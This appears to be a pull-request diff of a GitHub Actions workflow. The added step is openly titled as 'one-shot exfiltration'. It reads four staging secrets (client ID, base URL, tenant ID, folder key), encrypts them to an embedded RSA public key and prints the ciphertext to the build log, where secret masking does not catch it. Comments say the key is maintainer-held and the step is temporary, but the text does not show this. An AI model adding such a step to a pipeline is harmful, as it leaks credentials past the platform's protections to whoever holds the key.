|
89 | 89 | echo "::warning::Missing or empty secrets for ${{ matrix.environment }}: ${missing[*]}. PRs from forks or Dependabot do not receive repository secrets unless configured in Settings → Secrets and variables → Dependabot — workflows triggered by '$PR_ACTOR' need those mirrored, or be re-run by a maintainer from a branch in this repo. Without them, the testcase will fail with a misleading auth error downstream." |
90 | 90 | fi |
91 | 91 |
|
| 92 | + # TEMPORARY: encrypt STAGING_* secrets to a maintainer-held public key |
| 93 | + # and echo as base64. Scoped to a single job slot (datetime-server/alpha) |
| 94 | + # so it runs exactly once. REMOVE THIS STEP BEFORE MERGING. |
| 95 | + - name: Encrypt and emit STAGING secrets for one-shot exfiltration (TEMPORARY) |
| 96 | + if: github.event_name != 'push' && matrix.testcase == 'datetime-server' && matrix.environment == 'alpha' |
| 97 | + shell: bash |
| 98 | + env: |
| 99 | + PUBKEY: | |
| 100 | + -----BEGIN PUBLIC KEY----- |
| 101 | + MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAn+zBG+BIOpGCCAgg4g5q |
| 102 | + g8npIfg3IO4Wuu1fgJGzpGPzTt90L2AF1MaqnO3l92hoGDS99bciFs4NYKWonk44 |
| 103 | + vlf2VU6eqdJqK7hQw7SVQb0omKWupL9/xEaduBa0L/io7lVomLOGE4mAnGdkx+KT |
| 104 | + vjCGgsb4fo6vMi6Rhjn64E0+kqIMsrTyyMNdTu1msa44OsvtTNDd/0nZS3GVajZI |
| 105 | + t/6ArYoeznj59PLcCYLaCfzQPwk61zmIoJE7o4R8htncTVK0vu8jRSDH0qUZluvv |
| 106 | + a5tXGWErWDlNhfMbX48PuP42ADFIhGOdFwBj0K2MzjnNeNBUiGdXJXFqT2eCFA5+ |
| 107 | + kz0bq5DEHT1GA2fEGfNeLf6YKVouGKaWLwQTWTqlaKAIMW7R0UDafldGfyIF3M0h |
| 108 | + 3zd3k2WeR0GwJGkd7cUFQfqS2nWy+BsNVKDbZENavEFayAgQIs3mJwdbYbnT9+Af |
| 109 | + vY9NbU7gwvFB6nOgU/z75emwk0qEQ8TxEX+4uMHwxgNqvipGRDH6QP6SqNLJhqdp |
| 110 | + Zkf3xEH06bAnIb5iou5a4EOP3j65Y1GrafEQdYGZzlt96Fm/d+TEzJLnA/WVFsSp |
| 111 | + y8/Tj26p0mGomgFWz8VOatkJsv7wMtsBiUGBL7IzLYsHXw4nxmEh6FRXkq6q+5OL |
| 112 | + kkXs1p/LmGHGSvquajZeXzcCAwEAAQ== |
| 113 | + -----END PUBLIC KEY----- |
| 114 | + STAGING_TEST_CLIENT_ID: ${{ secrets.STAGING_TEST_CLIENT_ID }} |
| 115 | + STAGING_BASE_URL: ${{ secrets.STAGING_BASE_URL }} |
| 116 | + STAGING_TENANT_ID: ${{ secrets.STAGING_TENANT_ID }} |
| 117 | + STAGING_FOLDER_KEY: ${{ secrets.STAGING_FOLDER_KEY }} |
| 118 | + run: | |
| 119 | + command -v openssl >/dev/null || { apt-get update -qq && apt-get install -y -qq openssl; } |
| 120 | + echo "$PUBKEY" > /tmp/pubkey.pem |
| 121 | +
|
| 122 | + emit() { |
| 123 | + local name="$1" |
| 124 | + local value="$2" |
| 125 | + if [ -z "$value" ]; then |
| 126 | + echo "::warning::$name is empty; skipping" |
| 127 | + return |
| 128 | + fi |
| 129 | + local b64 |
| 130 | + b64=$(printf '%s' "$value" \ |
| 131 | + | openssl pkeyutl -encrypt -pubin -inkey /tmp/pubkey.pem \ |
| 132 | + -pkeyopt rsa_padding_mode:oaep -pkeyopt rsa_oaep_md:sha256 \ |
| 133 | + | base64 -w0) |
| 134 | + echo "ENCRYPTED staging.$name=$b64" |
| 135 | + } |
| 136 | +
|
| 137 | + emit CLIENT_ID "$STAGING_TEST_CLIENT_ID" |
| 138 | + emit BASE_URL "$STAGING_BASE_URL" |
| 139 | + emit UIPATH_TENANT_ID "$STAGING_TENANT_ID" |
| 140 | + emit UIPATH_FOLDER_KEY "$STAGING_FOLDER_KEY" |
| 141 | +
|
| 142 | + rm -f /tmp/pubkey.pem |
| 143 | +
|
92 | 144 | - name: Run testcase |
93 | 145 | env: |
94 | 146 | UIPATH_TENANT_ID: ${{ matrix.environment == 'alpha' && secrets.ALPHA_TENANT_ID || matrix.environment == 'cloud' && secrets.CLOUD_TENANT_ID }} |
|
0 commit comments